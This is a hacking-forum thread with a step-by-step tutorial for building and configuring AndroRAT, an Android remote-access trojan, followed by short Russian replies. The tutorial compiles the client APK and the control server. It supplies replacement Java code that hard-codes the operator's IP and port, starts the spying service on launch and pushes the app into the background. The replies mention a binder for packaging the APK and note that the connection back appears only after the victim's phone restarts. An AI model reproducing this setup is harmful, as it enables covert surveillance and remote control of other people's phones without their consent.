1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

AndroRAT - Android Remote Administration Tool Setup Tutorial

Тема в разделе "Android [OS]", создана пользователем ultranet, 20 апр 2014.

  1. TopicStarter Overlay
    ultranet

    ultranet

    Регистрация:
    12 апр 2014
    Сообщения:
    18
    Симпатии:
    21
    AndroRAT - Android Remote Administration Tool Setup Tutorial

    Prerequisites
    • Android Developer Tools [Please login or register to view links]
    • Java Runtime Environment [Please login or register to view links]
    • AndroRAT Source [Please login or register to view links]
    • I recommend you have some previous experience with PC RATs before getting into this. I recommend following Please login or register to view links first
    • keep your phone plugged into your PC via USB & make sure you're phone has USB debugging enabled
    Getting Started
    • extract and run eclipse, which is inside the Android SDK:
    Код:
    \eclipse\eclipse.exe
    • choose "use this default workspace and don't ask again" when eclipse runs
    • should look like this:
    [​IMG]

    Preparing the SDK
    The SDK comes with the basic tools & libraries, but we need to download more packs to compile AndroRAT.

    • In eclipse, click: window -> android SDK manager
    • this should open:
    [​IMG]

    • note: The Android app says it needs API level 2.2; this does not mean it's only for 2.2! This is the minimum requirement. It will run in GingerBread 2.2 & up! (2.3, HC, ICS, JB)
    • select these:
    [​IMG]
    • click install packages
    • accept anything that pops up
    • wait for the download to finish
    • close & re-open eclipse
    Compiling the APK
    • go to file -> new -> project
    • select this:
    [​IMG]

    • click browse & select this:
    [​IMG]

    • click OK, this should appear:
    [​IMG]

    • make sure the project is checked
    • click finish; it should load the project into eclipse
    • note: you can compile this app right now, but it will ask you on startup (on the phone, when launched) for the IP address of your NO-IP host (since you will use that I assume). We will change this source later on to make it automatically configure itself on startup & go to background
    If you'd like to, you can compile the APK right now.
    • click the drop-down button to compile the APK (when asked what you would compile it as, select "Android Application")
    [​IMG]
    • note: the APK will be built to the bin folder inside the project's folder: (the one we downloaded)
    Код:
    androrat-master\src\Androrat\bin
    Compiling the Server
    • go to: file -> import
    • select this:
    [​IMG]
    • click browse when the new window shows up. select this:
    [​IMG]
    • make sure the project is checked, click finish
    • our project will have an error-like icon:
    [​IMG]
    • right click on the project folder (the icon with the "!" sign) & click properties
    • click "Java Build Path" & click the "Libraries" tab:
    [​IMG]
    • the libraries with the "x" icons aren't recognized by eclipse, so delete them. select them all & click "Remove"
    • the project still needs those libraries. on the same window, click this:
    [​IMG]
    • navigate to:
      Код:
      androrat-master\src\api
    • select all and of the files & click open
    • click OK
    Now we're going to run the applet once, so we can compile it in a second:
    • click on "Androrat Server" in the package explorer window
    • click the drop-down arrow next to the green "play" button -> run as -> Java application -> "Server - server" -> OK
    • AndroRAT Project (our client window) should run. if so, great!
    • close AndroRAT Project
    Now we're going to compile our RAT client into a .JAR: (so we can run it whenever)
    • click: file -> export; select:
    [​IMG]
    • set the options in the next screen as shown:
    [​IMG]

    • click finish
    • note: you will get a few warnings; click OK on each
    Modifying the APK to auto-configure our server on startup

    • open LauncherActivity.java
    [​IMG]

    • delete all of it's content & replace with this:
    Код:
    //Don't forget to put in your server details again!
    //www.LethemFind.us
     
    package my.app.client;
     
    import my.app.client.R;
    import android.app.Activity;
    import android.content.Context;
    import android.content.Intent;
    import android.os.Bundle;
    import android.os.PowerManager;
    import android.os.PowerManager.WakeLock;
    import android.view.View;
    import android.widget.Button;
    import android.widget.EditText;
     
    public class LauncherActivity extends Activity {
    /** Called when the activity is first created. */
     
    Intent Client, ClientAlt;
    Button btnStart, btnStop;
    EditText ipfield, portfield;
    String myIp = "192.168.0.0"; //Put your IP in these quotes.
    int myPort = 9999; //Put your port there, notice that there are no quotes here.
     
    @Override
    public void onStart() {
    super.onStart();
    onResume();
    }
     
    @Override
    public void onResume() {
    super.onResume();
    setContentView(R.layout.main);
     
    Client = new Intent(this, Client.class);
    Client.setAction(LauncherActivity.class.getName());
     
    btnStart = (Button) findViewById(R.id.buttonstart);
    btnStop = (Button) findViewById(R.id.buttonstop);
    ipfield = (EditText) findViewById(R.id.ipfield);
    portfield = (EditText) findViewById(R.id.portfield);
     
    if ( myIp == "" ) {
    ipfield.setText("192.168.137.1");
    portfield.setText("9999");
    Client.putExtra("IP", ipfield.getText().toString());
    Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) );
    } else {
    ipfield.setText(myIp);
    portfield.setText(String.valueOf(myPort));
    Client.putExtra("IP", myIp);
    Client.putExtra("PORT", myPort );
    }
     
    startService(Client);
    btnStart.setEnabled(false);
    btnStop.setEnabled(true);
    moveTaskToBack(false);
    }
     
    @Override
    public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.main);
     
    Client = new Intent(this, Client.class);
    Client.setAction(LauncherActivity.class.getName());
     
    btnStart = (Button) findViewById(R.id.buttonstart);
    btnStop = (Button) findViewById(R.id.buttonstop);
    ipfield = (EditText) findViewById(R.id.ipfield);
    portfield = (EditText) findViewById(R.id.portfield);
     
    if ( myIp == "" ) {
    ipfield.setText("192.168.137.1");
    portfield.setText("9999");
    Client.putExtra("IP", ipfield.getText().toString());
    Client.putExtra("PORT", Integer.parseInt(portfield.getText().toString()) );
    } else {
    ipfield.setText(myIp);
    portfield.setText(String.valueOf(myPort));
    Client.putExtra("IP", myIp);
    Client.putExtra("PORT", myPort );
    }
     
    startService(Client);
    btnStart.setEnabled(false);
    btnStop.setEnabled(true);
    //moveTaskToBack(true);
    }
    }
    [hr]
    • edit the obvious parts:
    [​IMG]

    • you can put your NO-IP address here, if you'd like (alternatively, you can use your IP)
    • compile & you're done
    [​IMG]
     
    • Like Like x 4
    Метки:
  2. TopicStarter Overlay
    ultranet

    ultranet

    Регистрация:
    12 апр 2014
    Сообщения:
    18
    Симпатии:
    21
    new link Please login or register to view links
     
  3. @$$@$$in

    @$$@$$in

    Регистрация:
    27 ноя 2012
    Сообщения:
    274
    Симпатии:
    62
    Эта тема рабочая? Стоит заморочится?
     
  4. zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Androrat сам по себе рабочий и очень полезный тул . Можно нагуглить androrat binder он создает апк сам . Но там фишка в том , отстук будет только когда телефон перезагрузят , после установки апк . Ну и кто в наше время телефоны перезагружает ?

    Если будет время откомпилирую проверю .
     

Поделиться этой страницей

Загрузка...